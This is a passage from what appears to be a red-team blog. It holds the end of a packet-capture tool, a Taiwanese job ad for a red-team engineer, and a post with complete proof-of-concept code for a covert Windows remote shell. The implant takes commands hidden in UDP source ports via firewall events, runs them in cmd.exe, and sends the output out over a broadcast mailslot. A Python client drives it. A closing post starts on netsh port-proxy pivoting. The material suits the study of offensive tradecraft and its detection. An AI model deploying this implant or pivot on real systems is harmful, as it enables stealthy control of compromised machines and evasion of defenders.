	if (status) {
		return 0;
	}
	return -1;
}


DWORD initiateTrace(void) {
	static const GUID sessionGuid = { 0x6f0aaf43, 0xec9e, 0xa946, {0x9e, 0x7f, 0xf9, 0xf4, 0x13, 0x37, 0x13, 0x37 } };  
	static const GUID providerGuid = { 0x4d4f80d9, 0xc8bd, 0x4d73, {0xbb, 0x5b, 0x19, 0xc9, 0x04, 0x02, 0xc5, 0xac } }; // {4D4F80D9-C8BD-4D73-BB5B-19C90402C5AC}

	// Taken from https://docs.microsoft.com/en-us/windows/win32/etw/example-that-creates-a-session-and-enables-a-manifest-based-provider
	ULONG status = ERROR_SUCCESS;
	TRACEHANDLE sessionHandle = 0;
	PEVENT_TRACE_PROPERTIES pSessionProperties = NULL;
	ULONG bufferSize = 0;
	BOOL TraceOn = TRUE;

	bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
	pSessionProperties = (PEVENT_TRACE_PROPERTIES)malloc(bufferSize);

	ZeroMemory(pSessionProperties, bufferSize);
	pSessionProperties->Wnode.BufferSize = bufferSize;
	pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
	pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
	pSessionProperties->Wnode.Guid = sessionGuid;
	pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR;
	pSessionProperties->MaximumFileSize = 50;  // 50 MB
	pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
	pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
	StringCbCopyA(((LPSTR)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

	status = StartTraceA(&sessionHandle, LOGSESSION_NAME, pSessionProperties);
	if (status != ERROR_SUCCESS) {
		printf("[!] StartTraceA failed!\n");
		return -1;
	}
	status = EnableTraceEx2(sessionHandle, &providerGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER, TRACE_LEVEL_INFORMATION, 0, 0, 0, NULL);
	if (status != ERROR_SUCCESS) {
		printf("[!] EnableTraceEx2 failed!\n");
		return -1;
	}
	return 0;
}


int main(int argc, char** argv) {
	HANDLE hDriver;

	printf("\t\t-=[ Shabby PktMon by @TheXC3LL ]=-\n\n");

	printf("[*] Starting PktMon service...\n");
	hDriver = PktMonServiceStart();
	if (hDriver == NULL) {
		printf("\t[!] Error! Service PktMon could not be started!\n\n");
		return -1;
	}
	printf("\t[+] SERVICE STARTED SUCCESSFULLY! (Handle: %d)\n", hDriver);

	printf("[*] Initating Event Tracer...\n");
	if (initiateTrace() == -1) {
		printf("\t[!] Error! Could not start the event tracer!\n");
		return -1;
	}
	printf("\t[+] EVENT TRACER STARTED SUCCESSFULLY!\n");

	printf("[*] Adding a filter and initializing capture...\n");
	if (initiateCapture(hDriver) == -1) {
		printf("\t[!] Error! Could not start capturing!\n");
		return -1;
	}
	printf("\n[+] CAPTURE INITIATED SUCCESSFULLY!\n");
	return 0;
}

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

[已結束] DEVCORE 徵求紅隊演練工程師

21 June 2021 at 16:00

戴夫寇爾已成立近九年,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

隨著公司規模擴大,我們首度公開招募紅隊演練人才,希望能夠找到一至兩位 Support 紅隊演練工程師,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

在滲透測試、紅隊演練專案中擔任重要的後勤工作。這會是最清楚全局戰況的角色,需要觀察、記錄整體戰況,細心且耐心地整理繁雜的戰局資訊,並且樂於與作戰夥伴溝通現有戰況。檢測結束後需要將完整的戰況資訊和檢測過程中發現的弱點彙整成報告和簡報,讓客戶清楚理解弱點技術細節與成因,且可依據技術細節重現已發現的弱點,最後協助檢測客戶的修補狀況。

  • 協助作戰 40%
    • 整合作戰資料,關聯戰場資訊協助隊友找到突破點
    • 追蹤掌握戰況進度
    • 專案中與客戶協調雙方需求
  • 會議 10%
    • 參與專案相關啟動、結案會議
    • 成果簡報
  • 撰寫與製作報告文件 40%
    • 製作報告書、簡報、日誌
  • 檢測 (初測、複測) 10%
    • 檢測弱點修補
    • 複測時程安排與協調

工作時間

10:00 - 18:00 (中間休息 1 小時 13:00 - 14:00)

工作地點

台北市中山區復興北路 168 號 10 樓 近期會搬遷至台北田徑場附近(捷運台北小巨蛋站)

工作條件要求

  • 熟悉 OWASP Web Top 10。
  • 熟悉 Microsoft Word 或 Mac Pages。
  • 熟悉 Microsoft PowerPoint 或 Mac Keynote。
  • 熟悉 BurpSuite 或其他 HTTP 封包修改攔截工具。
  • 具有程式 Debug 能力,能重現並收斂問題。
  • 熟悉網頁程式語言(如 PHP、ASPX、JSP),曾建立自己或別人常用的網頁服務。
  • 熟悉 Scripting 語言(如 ShellScript、Python、Ruby),使用腳本輔以工作,亦能理解專案所用的相關腳本。
  • 熟悉 Command Line 操作輔以工作,包含執行 Unix-like 和 Windows 的系統指令、工具等,亦能理解專案所用的相關指令。
  • 熟悉 curl、netcat、nmap、Dirb 等安全測試相關工具。
  • 有信心到職一年內拿到 Offensive Security Certified Professional (OSCP) 證照或擁有等值能力。

人格特質偏好

  • 優秀的文字組織能力與邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達內容給客戶或內部團隊。
  • 擁有強大的學習能力,對於任何不懂的技術細節都能主動詢問同事,想辦法理解並內化成自己的知識。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 在各種工作細節中,找到最佳化流程的方式,幫助團隊更有效率的運作。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

加分條件

  • 曾經有撰寫過相關紅隊演練、滲透測試中、英文報告等經驗。
  • 已考過 Offensive Security Certified Professional (OSCP) 證照。
  • 曾經挖掘常見漏洞(如 XSS、SQL Injection、Broken Access Control)。
  • 曾經寫過相關 CTF、Wargame 或弱點回報等類型的 Writeup。
  • 有撰寫技術類型等文章部落格經驗。
  • 具有專案管理規劃的能力。
  • 中文盲打具備 TQC 專業級水準。

工作環境

新辦公室裝潢中,可參考之前的徵才文,未來辦公室會優於過去。

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

起薪範圍

新台幣 60,000 - 80,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 紅隊演練工程師 您的姓名(範例:[應徵] 紅隊演練工程師 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。第二階段的線上測驗最快將於七月底進行,煩請耐心等候;第三階段面試視疫情狀況可能會採線上面試。 若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。我們感謝您的來信,期待您的加入!

Knock! Knock! The postman is here! (abusing Mailslots and PortKnocking for connectionless shells)

18 June 2021 at 00:00

Dear Fellowlship, today’s homily is about how a fool started to play with the idea of controlling a shell remotely without listening to any port (bind shell), or doing a connection back to it (reverse shell). Please, take a seat and listen to the story of a journey to the No-Sockets Land.

Prayers at the foot of the Altar a.k.a. disclaimer

Of course, declaring that we can communicate with other machine without sockets it’s a tricky afirmation: sockets, in a way or another, are needed. We are going to explore the usage of two covert-channels to trasmit information to and from our remote shell, so there are no “direct connections” between the two machines (or in other words: our implant is not going to bind to a local port and it is not going to connect back to our machine, we are going to explore an alternative way. Just have fun and don’t be harsh on us because we used the term “connectionless” :P

Introduction

This post came after crafting a small PoC to satisfy our curiosity. The tactic of keeping a few compromised machines “quiet” (without communication with the C2) until a pre-shared combination of ports are hit is something that @TheXC3LL shared in his article “Stealthier communications & Port Knocking via Windows Filtering Platform (WFP)”.

In the article our owl explained how some “clean boxes” are left behind until its retake is needed. When the Red Team needs to reactivate the communication with its implant they just “knock” on a few predefined ports and the implant wakes up again. To do this the implant uses the Windows Filtering Platform APIs in order to monitor the firewall events and to check for incomming UDP packets (source and destionation port/ip), if the predefined condition is met then it connects back to a fallback C2 or just fire a reverse shell.

Here, in our PoC, we are going to use this technique partially. As we do not want to “create” a socket in the compromised machine, and we need to communicate with our implant in some way, we use a wicked approach based on Port Knocking. Or we should call it “reverse” Port Knocking.

Instead of “knocking” at different ports, we “knock” only in a port but we change the source port. And this source port is our covert-channel: we can use those two bytes to transmit information. So here is the thing… the events collected from WFP are our inbound channel.

We just found a way to transmit information to our implant, but how are we going to exfiltrate the output of our inputs/commands? Well, here is where Mailslots take in action. From Microsoft:

A mailslot is a mechanism for one-way interprocess communications (IPC). Applications can store messages in a mailslot. (...). These messages are typically sent over a network to either a specified computer **or to all computers in a specified domain**. (...)


(...) Mailslots, on the other hand, are a simple way for a process to broadcast messages to multiple processes. One important consideration is that mailslots broadcast messages using datagrams. A datagram is a small packet of information that the network sends along the wire. Like a radio or television broadcast, a datagram offers no confirmation of receipt; there is no way to guarantee that a datagram has been received.(...)

Ok, we can use mailslots to broadcast the output over the network and then wait patiently in our end in order to read the output. Where is the fun? Well… every Windows is using mailslots continously. Your machine is broadcasting datagrams like a minigun. Have you ever found those “BROWSER” packets in Wireshark?

BROWSER request broadcasted
BROWSER request broadcasted.

Yep, the CIFS Browser protocol uses the mailslot \MAILSLOT\BROWSE, so we can smuggle the output of our shell here. This is gonna be our outbound channel.

After this brief introduction, let’s dig a bit!

Inbound channel

As first contact we can reuse the code to monitor the events and add a minor edit to print the source ports:

#include <windows.h>
#include <fwpmtypes.h>
#include <fwpmu.h>
#include <stdio.h>
#include <winsock.h>

#pragma comment (lib, "fwpuclnt.lib")
#pragma comment (lib, "Ws2_32.lib")

#define EXIT_ON_ERROR(err) if((err) != ERROR_SUCCESS) {goto CLEANUP;}


FILETIME ft;






DWORD InitFilterConditions(
	__in_opt PCWSTR appPath,
	__in_opt const SOCKADDR* localAddr,
	__in_opt UINT8 ipProtocol,
	__in UINT32 numCondsIn,
	__out_ecount_part(numCondsIn, *numCondsOut) FWPM_FILTER_CONDITION0* conds,
	__out UINT32* numCondsOut,
	__deref_out FWP_BYTE_BLOB** appId
)
{
	*numCondsOut = 0;
	return ERROR_SUCCESS;
}


DWORD FindRecentEvents(
	__in HANDLE engine,
	__in_opt PCWSTR appPath,
	__in_opt const SOCKADDR* localAddr,
	__in_opt UINT8 ipProtocol,
	__in UINT32 seconds,
	__deref_out_ecount(*numEvents) FWPM_NET_EVENT0*** events,
	__out UINT32* numEvents
)
{
	DWORD result = ERROR_SUCCESS;
	FWPM_NET_EVENT_ENUM_TEMPLATE0 enumTempl;
	ULARGE_INTEGER ulTime;
	FWPM_FILTER_CONDITION0 conds[4];
	UINT32 numConds;
	FWP_BYTE_BLOB* appBlob = NULL;
	HANDLE enumHandle = NULL;

	memset(&enumTempl, 0, sizeof(enumTempl));

	// Use the current time as the end time of the window.
	GetSystemTimeAsFileTime(&(enumTempl.endTime));

	// Subtract the number of seconds specified by the caller to find the start
	// time.
	ulTime.LowPart = enumTempl.endTime.dwLowDateTime;
	ulTime.HighPart = enumTempl.endTime.dwHighDateTime;
	ulTime.QuadPart -= seconds * 10000000ui64;
	enumTempl.startTime.dwLowDateTime = ulTime.LowPart;
	enumTempl.startTime.dwHighDateTime = ulTime.HighPart;

	result = InitFilterConditions(
		appPath,
		&localAddr,
		ipProtocol,
		ARRAYSIZE(conds),
		conds,
		&numConds,
		&appBlob
	);
	EXIT_ON_ERROR(result);

	enumTempl.numFilterConditions = numConds;
	if (numConds > 0)
	{
		enumTempl.filterCondition = conds;
	}

	result = FwpmNetEventCreateEnumHandle0(
		engine,
		&enumTempl,
		&enumHandle
	);
	EXIT_ON_ERROR(result);

	result = FwpmNetEventEnum0(
		engine,
		enumHandle,
		INFINITE,
		events,
		numEvents
	);
	EXIT_ON_ERROR(result);

CLEANUP:
	FwpmNetEventDestroyEnumHandle0(engine, enumHandle);
	FwpmFreeMemory0((void**)&appBlob);
	return result;
}

LPSTR detectHit(void) {
	struct in_addr rinaddr;
	HANDLE engineHandle = 0;
	FWPM_NET_EVENT0** events = NULL, * event;
	UINT32 numEvents = 0, i;


	static const char* const types[] =
	{
	   "FWPM_NET_EVENT_TYPE_IKEEXT_MM_FAILURE",
	   "FWPM_NET_EVENT_TYPE_IKEEXT_QM_FAILURE",
	   "FWPM_NET_EVENT_TYPE_IKEEXT_EM_FAILURE",
	   "FWPM_NET_EVENT_TYPE_CLASSIFY_DROP",
	   "FWPM_NET_EVENT_TYPE_IPSEC_KERNEL_DROP"
	};
	const char* type;

	// Use dynamic sessions for efficiency and safety:
	//  - All objects associated with the dynamic session are deleted with one call.
	//  - Filtering policy objects are deleted even when the application crashes. 
	FWPM_SESSION0 session;
	memset(&session, 0, sizeof(session));
	session.flags = FWPM_SESSION_FLAG_DYNAMIC;

	DWORD result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &engineHandle);
	if (ERROR_SUCCESS == result)
	{
		result = FindRecentEvents(
			engineHandle,
			0,
			0,
			0,
			100,
			&events,
			&numEvents
		);
	}

	if (numEvents != 0)
	{
		
		for (i = 0; i < numEvents; ++i)
		{
			event = events[i];


			type = (event->type < ARRAYSIZE(types)) ? types[event->type]
				: "<unknown>";

			if (event->header.ipVersion == FWP_IP_VERSION_V4 && event->header.ipProtocol == IPPROTO_UDP
				&& (event->header.timeStamp.dwHighDateTime > ft.dwHighDateTime
					|| (event->header.timeStamp.dwHighDateTime == ft.dwHighDateTime && event->header.timeStamp.dwLowDateTime > ft.dwLowDateTime)
					)
				)
			{
				rinaddr.s_addr = htonl(event->header.remoteAddrV4);
				ft.dwHighDateTime = event->header.timeStamp.dwHighDateTime;
				ft.dwLowDateTime = event->header.timeStamp.dwLowDateTime;
				//printf("[%s] - %x - %x\n", inet_ntoa(rinaddr), event->header.localPort, event->header.remotePort);
				char partialOut[3] = { 0 };
				memcpy(partialOut, &event->header.remotePort, 2);
				printf("%s", partialOut);
			}
		}
	}
}





int main(int argc, char** argv[]) {
	ft.dwHighDateTime = 0;
	ft.dwLowDateTime = 0;
	for (;;) {
		detectHit();
		Sleep(1000);
	}
	return 0;
}

Now we can try to send packets against a predefined port (for example, 123/UDP), encoding a message inside the source ports. Keep in mind that we don’t care about the content because our information is carried as the source port (this means: please, try to make the payload as similar as possible to a real and “regular” packet based in the protocol that you are trying to simulate).

 import sys
 from scapy.all import *
 
 
 def textToPorts(text):
     chunks = [text[i:i+2] for i in range(0, len(text), 2)]
     for chunk in chunks:
         send(IP(dst=sys.argv[1])/UDP(dport=123,sport=int("0x" + chunk[::-1].encode("hex"), 16))/Raw(load="Use stealthier packet in a real operation, pls"))
 
 if __name__ == "__main__":
     while 1:
         command = raw_input("Insert text> ")
         textToPorts(command)

We can see how it worked like a charm:

Text message retrieved from the events
Text message retrieved from the events (open it to see it with the whole size).

Right now we can listen without ears sockets. Let’s move to the next task!

Outbound channel

Working with mailslots is pretty easy. We only need to open a handle to \\*\MAILSLOT\BROWSE and write inside it like we do with regular files. The \\*\ indicates that the message has to be broadcasted to the whole domain.

As any protocol, we have to keep some kind of “structure” to avoid crafting a malformed packet in excess. Luckily for us, CIFS BROWSER protocol is very lazy and we can find a suitable request easy. To look for our candidates we can just loop from 0x00 to 0xFF and write it over the handle:

#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
	HANDLE hMailslot = NULL;
	DWORD dwWritten;

	hMailslot = CreateFileA("\\\\*\\MAILSLOT\\BROWSE", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	for (int i = 0x00; i < 0xFF; i++) {
		char message[14] = { 0 };
		snprintf(message, 14, "%cHello World!",i);
		WriteFile(hMailslot, message, 14, &dwWritten, NULL);
	}
	CloseHandle(hMailslot);
	return 0;
}

As we can see most of the messages are interpreted as “malformed packets” or are undefined in the protocol standard:

Looping through operation codes
Looping through operation codes.

The best candidate looks like to be the GetBackupListRequest command. It uses the 0x09 as opcode:

GetBackupListRequest description
GetBackupListRequest description.

To retrieve the information at our end we can sniff the network using Scapy:

# ...
 def getPacket(pkt):
         needle = "BROWSE\x00\x00\x00\x09"
         data = pkt[Raw].load
         if needle in data:
                 sys.stdout.write(data[data.find(needle) + len(needle):])
                 sys.stdout.flush()
 
 def monitor():
         sniff(prn=getPacket, filter="port 138 and host " + sys.argv[1], iface=sys.argv[2])
# ...

Interlude

Before continuing we need to clarify some points that are to be taken into consideration. The most important: this kind of approach will only work if there is no network elements that could mask the source port. In complex infrastructures you need to be close (usually in the same network segment) in order to perform this technique. If a NAT-like device sits between you and the sleeping box it is most likely that the information encoded as source port is going to be overwritten.

Secondly, in our PoC we are just using one port to transfer the information for the sake of brevity. In a real implant, you need to knock at least three different ports:

  • First port to wake up, create the cmd.exe child process and to enter in “shell” mode
  • Second port to read the inputs (as we are doing right now)
  • Third port to stop the “shell” mode and enter in sleeping mode again

Also something really, really, really important: when the first port is hit (the “wake up”) we have to save the IP which contacted us, and then use it as criteria to meet in our events of reading inputs. This matters a lot to avoid the insertion of corrupted data because we are reading stray packets from other machines. We need to match the port choosen to carry the input AND the IP who made us wake up.

For this very same reason to wake up we need to add an extra condition: not only a selected port has to be knocked, the source port has to be one that would not be used in a natural environment (for example 666).

Lastly we have to keep in mind that mailslots are size limited. We only can send 424 bytes per message.

PoC || GTFO

After all this chit-chat let’s play a bit with our shitty PoC. Here comes the client:

 # PoC by Juan Manuel Fernandez (@TheXC3LL)
 
 import sys
 import threading
 from scapy.all import *
 
 
 
 def textToPorts(text):
         chunks = [text[i:i+2] for i in range(0, len(text), 2)]
         for chunk in chunks:
                 send(IP(dst=sys.argv[1])/UDP(dport=123,sport=int("0x" + chunk[::-1].encode("hex"), 16))/Raw(load="Adepts of 0xCC here to make some noise, avoid this kind of obvious malformed packet with stupid messages ;)"), verbose=False)
 
 def getPacket(pkt):
         needle = "BROWSE\x00\x00\x00\x09"
         data = pkt[Raw].load
         if needle in data:
                 sys.stdout.write(data[data.find(needle) + len(needle):])
                 sys.stdout.flush()
 
 def monitor():
         sniff(prn=getPacket, filter="port 138 and host " + sys.argv[1], iface=sys.argv[2])
 
 if __name__ == "__main__":
         x = threading.Thread(target=monitor)
         x.start()
         while 1:
                 command = raw_input()
                 textToPorts(command + "\r\n")

And here the other part:

/* PoC by Juan Manuel Fernandez (@TheXC3LL) */

#include <windows.h>
#include <fwpmtypes.h>
#include <fwpmu.h>
#include <stdio.h>
#include <winsock.h>


#pragma comment (lib, "fwpuclnt.lib")
#pragma comment (lib, "Ws2_32.lib")

#define EXIT_ON_ERROR(err) if((err) != ERROR_SUCCESS) {goto CLEANUP;}

#define BUFFER_SIZE 400

FILETIME ft;




struct child_pipes {
	HANDLE child_IN_R;
	HANDLE child_IN_W;
	HANDLE child_OUT_R;
	HANDLE child_OUT_W;
};

typedef struct child_pipes child_pipes;


DWORD InitFilterConditions(
	__in_opt PCWSTR appPath,
	__in_opt const SOCKADDR* localAddr,
	__in_opt UINT8 ipProtocol,
	__in UINT32 numCondsIn,
	__out_ecount_part(numCondsIn, *numCondsOut) FWPM_FILTER_CONDITION0* conds,
	__out UINT32* numCondsOut,
	__deref_out FWP_BYTE_BLOB** appId
)
{
	*numCondsOut = 0;
	return ERROR_SUCCESS;
}


DWORD FindRecentEvents(
	__in HANDLE engine,
	__in_opt PCWSTR appPath,
	__in_opt const SOCKADDR* localAddr,
	__in_opt UINT8 ipProtocol,
	__in UINT32 seconds,
	__deref_out_ecount(*numEvents) FWPM_NET_EVENT0*** events,
	__out UINT32* numEvents
)
{
	DWORD result = ERROR_SUCCESS;
	FWPM_NET_EVENT_ENUM_TEMPLATE0 enumTempl;
	ULARGE_INTEGER ulTime;
	FWPM_FILTER_CONDITION0 conds[4];
	UINT32 numConds;
	FWP_BYTE_BLOB* appBlob = NULL;
	HANDLE enumHandle = NULL;

	memset(&enumTempl, 0, sizeof(enumTempl));

	// Use the current time as the end time of the window.
	GetSystemTimeAsFileTime(&(enumTempl.endTime));

	// Subtract the number of seconds specified by the caller to find the start
	// time.
	ulTime.LowPart = enumTempl.endTime.dwLowDateTime;
	ulTime.HighPart = enumTempl.endTime.dwHighDateTime;
	ulTime.QuadPart -= seconds * 10000000ui64;
	enumTempl.startTime.dwLowDateTime = ulTime.LowPart;
	enumTempl.startTime.dwHighDateTime = ulTime.HighPart;

	result = InitFilterConditions(
		appPath,
		&localAddr,
		ipProtocol,
		ARRAYSIZE(conds),
		conds,
		&numConds,
		&appBlob
	);
	EXIT_ON_ERROR(result);

	enumTempl.numFilterConditions = numConds;
	if (numConds > 0)
	{
		enumTempl.filterCondition = conds;
	}

	result = FwpmNetEventCreateEnumHandle0(
		engine,
		&enumTempl,
		&enumHandle
	);
	EXIT_ON_ERROR(result);

	result = FwpmNetEventEnum0(
		engine,
		enumHandle,
		INFINITE,
		events,
		numEvents
	);
	EXIT_ON_ERROR(result);

CLEANUP:
	FwpmNetEventDestroyEnumHandle0(engine, enumHandle);
	FwpmFreeMemory0((void**)&appBlob);
	return result;
}

void getCommand(struct child_pipes* pipes) {
	struct in_addr rinaddr;
	HANDLE engineHandle = 0;
	FWPM_NET_EVENT0** events = NULL, * event;
	UINT32 numEvents = 0, i;


	static const char* const types[] =
	{
	   "FWPM_NET_EVENT_TYPE_IKEEXT_MM_FAILURE",
	   "FWPM_NET_EVENT_TYPE_IKEEXT_QM_FAILURE",
	   "FWPM_NET_EVENT_TYPE_IKEEXT_EM_FAILURE",
	   "FWPM_NET_EVENT_TYPE_CLASSIFY_DROP",
	   "FWPM_NET_EVENT_TYPE_IPSEC_KERNEL_DROP"
	};
	const char* type;

	// Use dynamic sessions for efficiency and safety:
	//  - All objects associated with the dynamic session are deleted with one call.
	//  - Filtering policy objects are deleted even when the application crashes. 
	FWPM_SESSION0 session;
	memset(&session, 0, sizeof(session));
	session.flags = FWPM_SESSION_FLAG_DYNAMIC;

	DWORD result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &engineHandle);
	if (ERROR_SUCCESS == result)
	{
		result = FindRecentEvents(
			engineHandle,
			0,
			0,
			0,
			100,
			&events,
			&numEvents
		);
	}

	if (numEvents != 0)
	{

		for (i = 0; i < numEvents; ++i)
		{
			event = events[i];


			type = (event->type < ARRAYSIZE(types)) ? types[event->type]
				: "<unknown>";

			if (event->header.ipVersion == FWP_IP_VERSION_V4 && event->header.ipProtocol == IPPROTO_UDP
				&& (event->header.timeStamp.dwHighDateTime > ft.dwHighDateTime
					|| (event->header.timeStamp.dwHighDateTime == ft.dwHighDateTime && event->header.timeStamp.dwLowDateTime > ft.dwLowDateTime)
					)
				)
			{
				rinaddr.s_addr = htonl(event->header.remoteAddrV4);
				ft.dwHighDateTime = event->header.timeStamp.dwHighDateTime;
				ft.dwLowDateTime = event->header.timeStamp.dwLowDateTime;
				//printf("[%s] - %x - %x\n", inet_ntoa(rinaddr), event->header.localPort, event->header.remotePort);
				char partialOut[3] = { 0 };
				memcpy(partialOut, &event->header.remotePort, 2);
				printf("%s", partialOut);
				write_to_pipe(pipes->child_IN_W, partialOut);
			}
		}
	}
}



struct child_pipes* setup_pipes(void) {
	struct child_pipes* pipes = NULL;
	SECURITY_ATTRIBUTES saAttr;

	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = TRUE;
	saAttr.lpSecurityDescriptor = NULL;

	pipes = (child_pipes*)malloc(sizeof(child_pipes));

	if (!CreatePipe(&pipes->child_OUT_R, &pipes->child_OUT_W, &saAttr, 0)) {
		return -1;
	}
	if (!CreatePipe(&pipes->child_IN_R, &pipes->child_IN_W, &saAttr, 0)) {
		return -1;
	}
	if (!SetHandleInformation(pipes->child_OUT_R, HANDLE_FLAG_INHERIT, 0)) {
		return -1;
	}
	if (!SetHandleInformation(pipes->child_IN_W, HANDLE_FLAG_INHERIT, 0)) {
		return -1;
	}
	return pipes;
}

void release_pipes(struct child_pipes* pipes) {
	free(pipes);
}


int read_from_pipe(HANDLE pipe, LPSTR buff) {
	BOOL bSuccess;
	DWORD read;
	if (!PeekNamedPipe(pipe, NULL, 0, NULL, &read, NULL)) {
		return -1;
	}
	if (read) {
		bSuccess = ReadFile(pipe, buff, BUFFER_SIZE, &read, NULL);
		if (!bSuccess) {
			return -1;
		}
	}
	return read;
}

int write_to_pipe(HANDLE pipe, LPSTR buff) {
	BOOL bSuccess;
	DWORD written;
	bSuccess = WriteFile(pipe, buff, strlen(buff), &written, NULL);
	if (!bSuccess) {
		return -1;
	}
	return written;
}


int create_childprocess(LPSTR binary, struct child_pipes* pipes) {
	PROCESS_INFORMATION piProcInfo;
	STARTUPINFOA siStartInfo = { 0 };
	BOOL bSuccess = FALSE;

	siStartInfo.cb = sizeof(STARTUPINFOA);
	siStartInfo.hStdError = pipes->child_OUT_W;
	siStartInfo.hStdOutput = pipes->child_OUT_W;
	siStartInfo.hStdInput = pipes->child_IN_R;
	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
	bSuccess = CreateProcessA(NULL,
		binary,
		NULL,
		NULL,
		TRUE,
		0,
		NULL,
		NULL,
		&siStartInfo,
		&piProcInfo
	);
	if (!bSuccess) {
		return -1;
	}

	CloseHandle(pipes->child_OUT_W);
	CloseHandle(pipes->child_IN_R);

	return piProcInfo.hProcess;
}

void sendOutput(LPSTR output, HANDLE hMailslot) {
	char message[BUFFER_SIZE + 2] = { 0 };
	DWORD dwWritten = 0;

	snprintf(message, BUFFER_SIZE + 2, "\x09%s", output);
	
	WriteFile(hMailslot, message, strlen(message) + 1, &dwWritten, NULL);
	return;
}


int main(int argc, char** argv[]) {
	ft.dwHighDateTime = 0;
	ft.dwLowDateTime = 0;
	int status = 0;
	char buffer_stdout[BUFFER_SIZE + 1] = { 0 };
	struct child_pipes* pipes = NULL;
	int process = 0;
	HANDLE hMailslot = NULL;

	pipes = setup_pipes();
	hMailslot = CreateFileA("\\\\*\\MAILSLOT\\BROWSE", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if ((process = create_childprocess("C:\\windows\\system32\\cmd.exe", pipes)) == -1) {
		release_pipes(pipes);
		return -1;
	}
	while (1) {
		GetExitCodeProcess(process, &status);
		if (status != STILL_ACTIVE) {
			break;
		}
		do {
			memset(buffer_stdout, 0, sizeof(buffer_stdout));
			status = read_from_pipe(pipes->child_OUT_R, buffer_stdout);
			if (status == -1) {
				break;
			}
			else {
				if (strlen(buffer_stdout) != 0) {
					sendOutput(buffer_stdout, hMailslot);
				}
			}
		} while (status != 0);
		Sleep(300);
		getCommand(pipes);
	}

	return 0;
}

Execute the python script in your linux machine, and then fire the executable in the Windows machine as a privileged user. A shell should arrive :):

ShadowPostman PoC working :D
ShadowPostman PoC working :D.

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Don’t use commands, use code: the tale of Netsh & PortProxy

11 June 2021 at 00:00

Dear Fellowlship, today’s homily is a call to an (un)holy crusade: we have to banish the usage of commands in compromised machines and start to embrace coding. Please, take a seat and listen to the story of netsh and PortProxy.

Prayers at the foot of the Altar a.k.a. disclaimer

The intention of this short article is to encourage people to improve their tradecraft. We use netsh here as a mere example to transmit the core idea: we need to move from commands to tasks coded in our implants/tools.

Introduction

There are tons of ways to tunnel your traffic through a compromised machine. Probably the most common can be dropping an implant that implements a SOCKS4/5 proxy, so you can route your traffic through that computer and run your tools against other network segments previously inaccessible. But in some scenarios we can’t just deploy our socks proxy listening to an arbitrary port and we need to rely on native tools, like the well-known netsh.

Forwarding traffic from one port to another machine is trivial with netsh. For example, if we want to connect to the RDP service exposed by a server (let’s call it C) at 10.2.0.12 and we need to use B (10.1.0.233) as pivot, the command line would look like:

netsh interface portproxy add v4tov4 listenport=1337 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.2.0.12

Then we only need to use our favorite RDP client and point it to B (10.1.0.233) at port 1337. Easy peachy.

But… how netsh works and what is happening under the hood? Can we implement this functionality by ourselves so we can avoid the use of the well-known netsh?

Shedding light

The first thing to do (after googling) when we have to play with something in Windows is to take a look at ReactOS and Wine projects (usually both are a goldmine) but this time we were unlucky:

